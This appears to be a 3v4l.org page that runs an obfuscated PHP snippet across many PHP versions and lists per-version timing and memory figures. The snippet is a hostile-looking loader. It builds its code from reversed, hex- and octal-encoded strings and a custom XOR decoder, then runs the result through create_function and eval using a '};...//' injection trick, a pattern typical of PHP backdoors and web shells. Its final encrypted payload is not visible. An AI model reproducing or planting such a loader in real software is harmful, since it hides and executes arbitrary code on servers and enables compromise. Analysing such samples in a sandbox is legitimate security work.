3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $s1v ="create_function"; $slv = "strrev"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $test = 'function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy( "\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy) ); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); } '; echo eval($test);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0000.01516.63
8.3.50.0190.00521.02
8.3.40.0070.00718.57
8.3.30.0110.00418.80
8.3.20.0080.00020.33
8.3.10.0080.00023.73
8.3.00.0080.00019.53
8.2.180.0110.01116.50
8.2.170.0100.01022.96
8.2.160.0090.00919.50
8.2.150.0060.00324.18
8.2.140.0000.00924.66
8.2.130.0000.00826.16
8.2.120.0090.00017.75
8.2.110.0060.00322.13
8.2.100.0130.00017.88
8.2.90.0080.00019.21
8.2.80.0040.00417.97
8.2.70.0040.00417.63
8.2.60.0040.00417.93
8.2.50.0030.00618.07
8.2.40.0080.00019.28
8.2.30.0080.00317.95
8.2.20.0040.00417.58
8.2.10.0080.00018.21
8.2.00.0060.00318.05
8.1.280.0110.00425.92
8.1.270.0150.00622.06
8.1.260.0040.00428.09
8.1.250.0040.00428.09
8.1.240.0030.00722.51
8.1.230.0080.00417.42
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0060.00317.38
8.1.190.0080.00017.36
8.1.180.0000.00818.10
8.1.170.0080.00018.49
8.1.160.0020.00522.01
8.1.150.0040.00418.92
8.1.140.0050.00317.41
8.1.130.0030.00317.73
8.1.120.0070.00017.52
8.1.110.0070.00417.49
8.1.100.0040.00417.45
8.1.90.0040.00417.48
8.1.80.0040.00417.47
8.1.70.0030.00317.55
8.1.60.0000.00817.49
8.1.50.0060.00317.43
8.1.40.0040.00417.57
8.1.30.0040.00417.70
8.1.20.0040.00417.70
8.1.10.0040.00417.61
8.1.00.0040.00417.55
8.0.300.0090.00018.84
8.0.290.0030.00616.75
8.0.280.0000.00718.48
8.0.270.0000.00817.23
8.0.260.0080.00017.18
8.0.250.0030.00616.96
8.0.240.0050.00317.07
8.0.230.0040.00417.01
8.0.220.0000.00716.95
8.0.210.0000.00716.86
8.0.200.0000.00616.95
8.0.190.0030.00617.05
8.0.180.0040.00317.02
8.0.170.0050.00317.00
8.0.160.0070.00016.98
8.0.150.0030.00517.05
8.0.140.0000.00816.96
8.0.130.0060.00313.36
8.0.120.0030.00616.94
8.0.110.0000.00816.91
8.0.100.0050.00216.81
8.0.90.0040.00416.87
8.0.80.0100.00717.05
8.0.70.0040.00416.86
8.0.60.0000.00717.03
8.0.50.0050.00217.02
8.0.30.0100.00717.04
8.0.20.0090.01017.40
8.0.10.0000.00717.05
8.0.00.0110.00616.66
7.4.330.0030.00315.28
7.4.320.0000.00616.64
7.4.300.0030.00316.55
7.4.290.0000.00716.72
7.4.280.0080.00016.53
7.4.270.0040.00416.64
7.4.260.0040.00416.54
7.4.250.0000.00716.50
7.4.240.0000.00716.60
7.4.230.0040.00416.50
7.4.220.0060.01216.74
7.4.210.0100.00916.53
7.4.200.0070.00016.46
7.4.160.0030.01516.69
7.4.150.0090.00917.40
7.4.140.0100.01117.86
7.4.130.0110.00716.72
7.4.120.0100.00716.55
7.4.110.0090.00916.38
7.4.100.0100.01616.87
7.4.90.0170.00716.67
7.4.80.0030.01419.39
7.4.70.0080.00816.70
7.4.60.0100.00916.73
7.4.50.0060.00316.69
7.4.40.0070.01016.68
7.4.30.0170.00716.75
7.4.00.0070.01014.88
7.3.330.0040.00313.30
7.3.320.0000.00513.29
7.3.310.0040.00416.36
7.3.300.0000.00716.34
7.3.290.0000.00716.47
7.3.280.0040.01116.43
7.3.270.0070.01417.40
7.3.260.0150.00316.60
7.3.250.0130.00516.49
7.3.240.0090.00916.41
7.3.230.0150.00316.61
7.3.210.0100.01016.70
7.3.200.0100.01016.55
7.3.190.0100.01016.50
7.3.180.0120.00416.62
7.3.170.0030.01316.54
7.3.160.0090.01416.66
7.2.330.0090.00916.57
7.2.320.0120.00616.59
7.2.310.0070.01816.58
7.2.300.0040.01416.83
7.2.290.0100.01316.45
7.2.80.0000.01216.66
7.2.60.0100.00716.91
7.2.00.0130.00719.32
7.1.200.0040.00815.87
7.1.100.0030.01318.13
7.1.70.0100.00017.12
7.1.60.0030.01719.27
7.1.50.0040.02117.04
7.1.00.0000.08022.41
7.0.200.0110.00016.82
7.0.60.0030.08720.03
7.0.50.0030.06317.83
7.0.40.0100.08720.04
7.0.30.0630.06720.07
7.0.20.0370.07320.09
7.0.10.0000.08020.25
7.0.00.0070.09020.27
5.6.280.0000.03720.95
5.6.210.0170.06020.50
5.6.200.0030.09018.22
5.6.190.0130.08720.68
5.6.180.0300.04020.55
5.6.170.0300.08020.53
5.6.160.0200.07020.41
5.6.150.0030.07318.19
5.6.140.0030.08718.16
5.6.130.0030.05318.30
5.6.120.0070.05321.04
5.6.110.0130.09021.17
5.6.100.0100.06321.06
5.6.90.0170.07321.04
5.6.80.0070.07720.33
5.6.70.0130.07020.40
5.5.350.0070.07720.44
5.5.340.0070.04318.01
5.5.330.0070.05020.47
5.5.320.0200.04720.36
5.5.310.0270.03720.34
5.5.300.0070.06018.03
5.5.290.0030.04017.96
5.5.280.0170.07020.77
5.5.270.0100.03720.79
5.5.260.0030.08720.82
5.5.250.0070.09020.51
5.5.240.0100.05320.30
5.4.450.0800.05019.59
5.4.440.0830.06319.61
5.4.430.1070.04719.58
5.4.420.1100.05019.38
5.4.410.0700.06319.46
5.4.400.0900.05019.16
5.4.390.0830.07019.06
5.4.380.0970.05319.06
5.4.370.0830.06319.29
5.4.360.1100.06318.84
5.4.350.0930.04719.16
5.4.340.0900.05319.01
5.4.320.1000.05719.22
5.4.310.0830.05318.84
5.4.300.0870.05319.13
5.4.290.0870.05019.05
5.4.280.0830.07718.84
5.4.270.0930.05719.26
5.4.260.1000.05019.00
5.4.250.0930.04319.24
5.4.240.0800.04719.28
5.4.230.0870.05319.30
5.4.220.0800.05019.28
5.4.210.0930.03719.30
5.4.200.0700.05719.32
5.4.190.0630.05719.25
5.4.180.0700.06019.25
5.4.170.1070.06018.97
5.4.160.0970.05019.26
5.4.150.0870.05319.25
5.4.140.1000.04316.48
5.4.130.0800.05316.53
5.4.120.0700.07016.73
5.4.110.0700.06716.49
5.4.100.0730.04716.59
5.4.90.0930.04716.49
5.4.80.0700.05716.23
5.4.70.0270.06316.29
5.4.60.0230.04716.31
5.4.50.0030.04316.40
5.4.40.0100.06316.48
5.4.30.0000.07716.58
5.4.20.0030.05316.48

preferences:
57.53 ms | 401 KiB | 5 Q